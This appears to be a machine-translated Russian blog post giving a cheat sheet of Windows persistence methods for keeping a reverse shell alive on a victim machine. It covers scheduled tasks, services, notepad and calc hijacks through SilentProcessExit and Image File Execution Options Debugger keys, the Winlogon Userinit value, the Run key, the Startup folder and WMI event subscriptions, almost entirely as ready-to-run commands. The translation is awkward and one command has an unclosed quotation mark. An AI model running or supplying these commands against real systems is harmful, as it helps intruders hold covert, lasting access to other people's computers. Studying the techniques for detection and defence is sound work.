Шпаргалка по сохранению Windows

Mar 03 2023

Введение Добро пожаловать в эту новую статью, здесь у вас будет CheatSheet, чтобы получить постоянство в системах Windows, здесь мы увидим много способов сделать это, и, наконец, я создам инструмент для автоматизации всего этого, созданного мной на C++. Что такое настойчивость? Постоянство состоит из методов, которые злоумышленники используют для сохранения доступа к системам при перезапусках, изменении учетных данных и других прерываниях, которые могут прервать их доступ.

Введение

Добро пожаловать в эту новую статью, здесь у вас будет CheatSheet, чтобы получить постоянство в системах Windows, здесь мы увидим много способов сделать это, и, наконец, я создам инструмент для автоматизации всего этого, созданного мной на C++.

Что такое настойчивость?

Постоянство состоит из методов, которые злоумышленники используют для сохранения доступа к системам при перезапусках, изменении учетных данных и других прерываниях, которые могут прервать их доступ. Методы, используемые для обеспечения устойчивости, включают в себя любые изменения доступа, действия или конфигурации, которые позволяют им удерживать свои точки опоры в системах, такие как замена или перехват законного кода или добавление кода запуска.

Это было бы наиболее правильное определение, но, по-моему, персистентность в основном позволяет вам продолжать иметь доступ или иметь возможность продолжать работу на машине-жертве в любое время, даже после выключения компьютера мы снова получили бы нашу оболочку без повторного заражения . устройство жертвы.

Индекс

Дела по расписанию
Услуги
Закрыть приложение
Открыть приложение
WinLogon
Выполнить регистрацию
Папка автозагрузки
WMIC

Дела по расписанию:

Запланированные задачи — один из самых простых способов добиться постоянства, проблема в том, что пользователю их гораздо проще обнаружить, но простой пользователь обычно этого не замечает.

Чтобы создать это, мне нужно использовать schtasks:

Чтобы создать новую задачу:

schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"

Службы Windows — это основные компоненты операционной системы, которые управляют всем, от управления памятью и устройствами до управления сторонними приложениями, учетными данными и предпочтениями пользователя, подобно демону Unix.

ПОК:

Для начала нам понадобится экземпляр powershell:

И теперь я создаю новую службу с автоматическим запуском, эта служба выполняет двоичный файл, указанный в BinaryPathName:

New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic

sc start s12

Следующий способ, который мне больше всего нравится, позволяет вам выполнять ваш двоичный файл, когда пользователь закрывает любой определенный процесс или двоичный файл. В этом случае я создаю обратную оболочку, когда пользователь завершает процесс notepad.exe .

Для этого нам нужно выполнить 3 команды в cmd:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

      
                
                    
                    
                
            
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

      
                
                    
                    
                
            
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"

Когда я автоматически закрываю блокнот, я получаю обратную оболочку

Открыть приложение:

Следующий способ, это мой второй любимый способ, позволяет вам выполнять ваш двоичный файл, когда пользователь открывает любой определенный процесс или двоичный файл. В этом случае я создаю обратную оболочку, когда пользователь открывает процесс calc.exe .

Для этого нам нужно выполнить 2 команды в cmd:

copy calc.exe _calc.exe

      
                
                    
                    
                
            
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f

Когда пользователь открывает калькулятор, я получаю обратное соединение с оболочкой.

WinLogon:

Winlogon — это компонент Windows, который обрабатывает различные действия, такие как вход в систему, выход из системы, загрузка профиля пользователя во время аутентификации, завершение работы, блокировка экрана и т. д. Такое поведение управляется реестром, который определяет, какие процессы запускать при входе в Windows. С точки зрения красной команды эти события могут быть триггером, который будет выполнять произвольную полезную нагрузку для сохранения.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f

Регистрационный ключ изменен!

Выполнить регистрацию

Реестр представляет собой иерархическую базу данных, содержащую данные, критически важные для работы Windows, а также приложений и служб, работающих в Windows. Данные структурированы в формате дерева. Каждый узел в дереве называется ключом . Каждый ключ может содержать как подразделы, так и записи данных, называемые значениями.

ПОК:

В этом случае самое время использовать Run Register, этот регистр является одним из самых важных в системе Windows, но в этом случае у вас есть преимущество, вам не нужны права администратора для выполнения этого:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"

Папка запуска

После перезагрузки или входа пользователя в систему операционная система Windows выполняет исполняемые файлы, которые обычно существуют по пути, используемому для папки автозагрузки:

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"

Инструментарий управления Windows (WMI) позволяет системным администраторам выполнять задачи локально и удаленно. С точки зрения Red Teaming WMI можно использовать для выполнения нескольких действий, таких как боковое перемещение, постоянство, ситуационная осведомленность, выполнение кода, а также в качестве команды и управления (C2). Тот факт, что WMI является частью Windows, которая существует почти во всех операционных системах Windows (Windows 98-Windows 10), позволяет этим наступательным действиям оставаться вне поля зрения синей команды.

Исполняемый файл будет возвращать сеанс обратной оболочки в течение 60 секунд после каждой перезагрузки.

В этом случае мне нужно выполнить 3 команды:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

      
                
                    
                    
                
            
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"

      
                
                    
                    
                
            
wmic /NAMESPACE:"\\root\subscription" PATH  __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

До сегодняшней статьи, этой CheatSheet, я считаю, что она была очень хорошей и будет очень полезной, кроме того, я создаю инструмент на C++ для автоматизации всего этого. Обратите внимание на мой Github.